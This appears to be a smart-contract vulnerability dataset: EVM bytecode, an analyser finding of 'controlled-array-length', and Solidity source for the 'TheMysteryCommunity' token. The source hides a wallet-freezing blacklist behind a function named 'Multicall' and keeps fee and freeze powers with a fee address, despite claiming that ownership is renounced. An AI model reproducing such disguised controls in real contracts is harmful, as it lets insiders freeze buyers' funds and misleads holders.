63ffffffff1663ffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200194505050505060405180910390f35b34801561067e57600080fd5b506106e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff1690602001909291905050506115a3565b005b3480156106f557600080fd5b5061071a600480360381019080803563ffffffff16906020019092919050505061166b565b6040518082815260200191505060405180910390f35b34801561073c57600080fd5b50610781600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050611683565b005b34801561078f57600080fd5b506107d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff1690602001909291905050506117dc565b6040518082815260200191505060405180910390f35b6004818154811015156107f957fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900463ffffffff16908060000160189054906101000a900463ffffffff16908060010160009054906101000a900467ffffffffffffffff16908060010160089054906101000a900463ffffffff169080600101600c9054906101000a900467ffffffffffffffff16905086565b60016020528060005260406000206000915054906101000a900463ffffffff1681565b60026020528060005260406000206000915054906101000a900460ff1681565b6000806000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008563ffffffff1663ffffffff1681526020019081526020016000205490508060038054905011151561096757600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1660038281548110151561098d57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156109e157600080fd5b8363ffffffff166003828154811015156109f757fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff16141515610a2b57600080fd5b600381815481101515610a3a57fe5b906000526020600020906002020160000160189054906101000a900463ffffffff16600382815481101515610a6b57fe5b906000526020600020906002020160010160009054906101000a900467ffffffffffffffff1692509250509250929050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff167f769268709e630d5b24d4c651adeae2d7a75c3dd7c3876275233e21570be22fd460405160405180910390a26001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600381815481101515610ba557fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900463ffffffff16908060000160189054906101000a900463ffffffff16908060010160009054906101000a900467ffffffffffffffff16908060010160089054906101000a900467ffffffffffffffff16905085565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c9d57600080fd5b60016103e8026103e80267ffffffffffffffff168367ffffffffffffffff1610151515610cc957600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002054905080600380549050118015610da757503373ffffffffffffffffffffffffffffffffffffffff16600382815481101515610d5d57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610dee57508463ffffffff16600382815481101515610dc457fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff16145b15610f8e57600381815481101515610e0257fe5b906000526020600020906002020160010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff168267ffffffffffffffff16111515610e4957600080fd5b600381815481101515610e5857fe5b906000526020600020906002020160000160189054906101000a900463ffffffff1663ffffffff16600382815481101515610e8f57fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff16600383815481101515610ec657fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f664a04e305e35425afb90c28227063c0b0b433a97155f2492f415af0bd4fea34600385815481101515610f3e57fe5b906000526020600020906002020160010160009054906101000a900467ffffffffffffffff16604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390a45b600380549050905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008763ffffffff1663ffffffff16815260200190815260200160002081905550600360a0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018763ffffffff1681526020018663ffffffff1681526020018567ffffffffffffffff1681526020018467ffffffffffffffff168152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548163ffffffff021916908363ffffffff16021790555060408201518160000160186101000a81548163ffffffff021916908363ffffffff16021790555060608201518160010160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060808201518160010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555050505060038181548110151561118757fe5b906000526020600020906002020160000160189054906101000a900463ffffffff1663ffffffff166003828154811015156111be57fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff166003838154811015156111f557fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f35c89b54d5468d95ecdd889b5dcd7245be0bee1a5dfbe384adc4e8f547f31fd760038581548110151561126d57fe5b906000526020600020906002020160010160009054906101000a900467ffffffffffffffff16604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390a45050505050565b6000600480549050905090565b6000600380549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133857600080fd5b611346868686868686611801565b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff167f0bb6d68f109745f7ae353e3b90fff6fb8245c34cca44f18d9dfa00e4d705fa6460405160405180910390a26000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000806000600660008763ffffffff1663ffffffff1681526020019081526020016000205490508563ffffffff1660048281548110151561148757fe5b906000526020600020906002020160010160089054906101000a900463ffffffff1663ffffffff161415156114bb57600080fd5b6004818154811015156114ca57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048281548110151561150b57fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1660048381548110151561153c57fe5b906000526020600020906002020160000160189054906101000a900463ffffffff1660048481548110151561156d57fe5b906000526020600020906002020160010160009054906101000a900467ffffffffffffffff169450945094509450509193509193565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff1611151561160757600080fd5b61166584848484600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff166000611801565b50505050565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116de57600080fd5b60008163ffffffff16141515611736578173ffffffffffffffffffffffffffffffffffffffff167faba09d491d88bf0ee0f8fc8f0168c0178e7210f18b5f524e052a72f550c4474a60405160405180910390a261177a565b8173ffffffffffffffffffffffffffffffffffffffff167ffa23c8d074a5c45120a1bac6ecf198fd3fa6f45dabe40a18dfa423f69d52c30c60405160405180910390a25b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600080600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008863ffffffff1663ffffffff168152602001908152602001600020549150816003805490501180156118e257508773ffffffffffffffffffffffffffffffffffffffff1660038381548110151561189857fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561192957508663ffffffff166003838154811015156118ff57fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff16145b15611e47578563ffffffff1660038381548110151561194457fe5b906000526020600020906002020160000160189054906101000a900463ffffffff1663ffffffff1614151561197857600080fd5b600660008563ffffffff1663ffffffff168152602001908152602001600020549050806004805490501180156119e957508663ffffffff166004828154811015156119bf57fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff16145b15611be15760008367ffffffffffffffff161480611a4e57508267ffffffffffffffff16600482815481101515611a1c57fe5b9060005260206000209060020201600101600c9054906101000a900467ffffffffffffffff1667ffffffffffffffff16105b1515611a5957600080fd5b600481815481101515611a6857fe5b906000526020600020906002020160010160089054906101000a900463ffffffff1663ffffffff16600482815481101515611a9f57fe5b906000526020600020906002020160000160149054906101000a900463ffffffff1663ffffffff16600483815481101515611ad657fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167e264fbe4f07de7fc7043d9442582fd638c02780e0e01b08df9e9c66cdc8e09d600485815481101515611b4d57fe5b906000526020600020906002020160000160189054906101000a900463ffffffff16600486815481101515611b7e57fe5b906000526020600020906002020160010160009054906101000a900467ffffffffffffffff16604051808363ffffffff1663ffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff1681526020019250505060405180910390a45b600480549050600660008663ffffffff1663ffffffff16815260200190815260200160002081905550600460c0604051908101604052808a73ffffffffffffffffffffffffffffffffffffffff1681526020018963ffffffff1681526020018863ffffffff1681526020018767ffffffffffffffff1681526020018663ffffffff1681526020018567ffffffffffffffff168152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548163ffffffff021916908363ffffffff16021790555060408201518160000160186101000a81548163ffffffff021916908363ffffffff16021790555060608201518160010160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060808201518160010160086101000a81548163ffffffff021916908363ffffffff16021790555060a082015181600101600c6101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050508363ffffffff168763ffffffff168973ffffffffffffffffffffffffffffffffffffffff167f1d809c14ce26d314cb611c6eb2d07dcbce4c1a76cfea828af40737b78dcb60708989604051808363ffffffff1663ffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff1681526020019250505060405180910390a4611e4c565b600080fd5b50505050505050505600a165627a7a7230582062709fd07f45650a153cbb1edae97cc4901ab47c0b6003ff5d0898e8ba87181f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,027 |
0x9031e0205a64347254d21ba3e878846de7b051df
|
/**
The Mystery Community
Low Tax : 5 / 5
Ownership renounced and LP Locked.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MysteryCommunity is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"TheMysteryCommunity"; ////
string public constant symbol = unicode"TMC"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105fe578063db92dbb614610613578063dcb0e0ad14610628578063dd62ed3e14610648578063e8078d941461068e57600080fd5b806395d89b4114610584578063a9059cbb146105b3578063b2131f7d146105d3578063c3c8cd80146105e957600080fd5b806370a08231116100e757806370a08231146104f1578063715018a6146105115780637a49cddb146105265780638da5cb5b1461054657806394b8d8f21461056457600080fd5b806349bd5a5e1461048657806350901617146104a6578063590f897e146104c65780636fc3eaec146104dc57600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103bf5780633bbac579146103f75780633bed43551461043057806340b9a54b1461045057806345596e2e1461046657600080fd5b806327f3a72a1461034d578063313ce5671461036257806331c2d8471461038957806332d873d8146103a957600080fd5b80630b78f9c0116101d75780630b78f9c0146102db57806318160ddd146102fb5780631940d0201461031757806323b872dd1461032d57600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610289578063095ea7b3146102ab57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b5061027c604051806040016040528060138152602001725468654d797374657279436f6d6d756e69747960681b81525081565b6040516102349190611c28565b34801561029557600080fd5b506102a96102a4366004611ca2565b6106a3565b005b3480156102b757600080fd5b506102cb6102c6366004611cbf565b610718565b6040519015158152602001610234565b3480156102e757600080fd5b506102a96102f6366004611ceb565b61072e565b34801561030757600080fd5b50683635c9adc5dea0000061022a565b34801561032357600080fd5b5061022a600f5481565b34801561033957600080fd5b506102cb610348366004611d0d565b6107b1565b34801561035957600080fd5b5061022a610899565b34801561036e57600080fd5b50610377600981565b60405160ff9091168152602001610234565b34801561039557600080fd5b506102a96103a4366004611d64565b6108a9565b3480156103b557600080fd5b5061022a60105481565b3480156103cb57600080fd5b506009546103df906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b34801561040357600080fd5b506102cb610412366004611ca2565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043c57600080fd5b506008546103df906001600160a01b031681565b34801561045c57600080fd5b5061022a600b5481565b34801561047257600080fd5b506102a9610481366004611e29565b610935565b34801561049257600080fd5b50600a546103df906001600160a01b031681565b3480156104b257600080fd5b506102a96104c1366004611ca2565b6109f9565b3480156104d257600080fd5b5061022a600c5481565b3480156104e857600080fd5b506102a9610a67565b3480156104fd57600080fd5b5061022a61050c366004611ca2565b610a94565b34801561051d57600080fd5b506102a9610aaf565b34801561053257600080fd5b506102a9610541366004611d64565b610b23565b34801561055257600080fd5b506000546001600160a01b03166103df565b34801561057057600080fd5b506011546102cb9062010000900460ff1681565b34801561059057600080fd5b5061027c60405180604001604052806003815260200162544d4360e81b81525081565b3480156105bf57600080fd5b506102cb6105ce366004611cbf565b610c32565b3480156105df57600080fd5b5061022a600d5481565b3480156105f557600080fd5b506102a9610c3f565b34801561060a57600080fd5b506102a9610c75565b34801561061f57600080fd5b5061022a610d19565b34801561063457600080fd5b506102a9610643366004611e50565b610d31565b34801561065457600080fd5b5061022a610663366004611e6d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069a57600080fd5b506102a9610dae565b6008546001600160a01b0316336001600160a01b0316146106c357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006107253384846110f5565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074e57600080fd5b600a82111561075c57600080fd5b600a81111561076a57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107df57506001600160a01b03831660009081526004602052604090205460ff16155b80156107f85750600a546001600160a01b038581169116145b15610847576001600160a01b03831632146108475760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610852848484611219565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610881908490611ebc565b905061088e8533836110f5565b506001949350505050565b60006108a430610a94565b905090565b6008546001600160a01b0316336001600160a01b0316146108c957600080fd5b60005b8151811015610931576000600660008484815181106108ed576108ed611ed3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092981611ee9565b9150506108cc565b5050565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161083e90611f02565b6008546001600160a01b0316336001600160a01b03161461097f57600080fd5b600081116109c45760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161083e565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161070d565b6009546001600160a01b0316336001600160a01b031614610a1957600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161070d565b6008546001600160a01b0316336001600160a01b031614610a8757600080fd5b47610a9181611887565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161083e90611f02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b4357600080fd5b60005b815181101561093157600a5482516001600160a01b0390911690839083908110610b7257610b72611ed3565b60200260200101516001600160a01b031614158015610bc3575060075482516001600160a01b0390911690839083908110610baf57610baf611ed3565b60200260200101516001600160a01b031614155b15610c2057600160066000848481518110610be057610be0611ed3565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2a81611ee9565b915050610b46565b6000610725338484611219565b6008546001600160a01b0316336001600160a01b031614610c5f57600080fd5b6000610c6a30610a94565b9050610a918161190c565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b815260040161083e90611f02565b60115460ff1615610cec5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083e565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a546000906108a4906001600160a01b0316610a94565b6000546001600160a01b03163314610d5b5760405162461bcd60e51b815260040161083e90611f02565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161070d565b6000546001600160a01b03163314610dd85760405162461bcd60e51b815260040161083e90611f02565b60115460ff1615610e255760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083e565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e623082683635c9adc5dea000006110f5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec49190611f37565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f359190611f37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa69190611f37565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fd681610a94565b600080610feb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611053573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110789190611f54565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109319190611f82565b6001600160a01b0383166111575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161083e565b6001600160a01b0382166111b85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161083e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661127d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161083e565b6001600160a01b0382166112df5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161083e56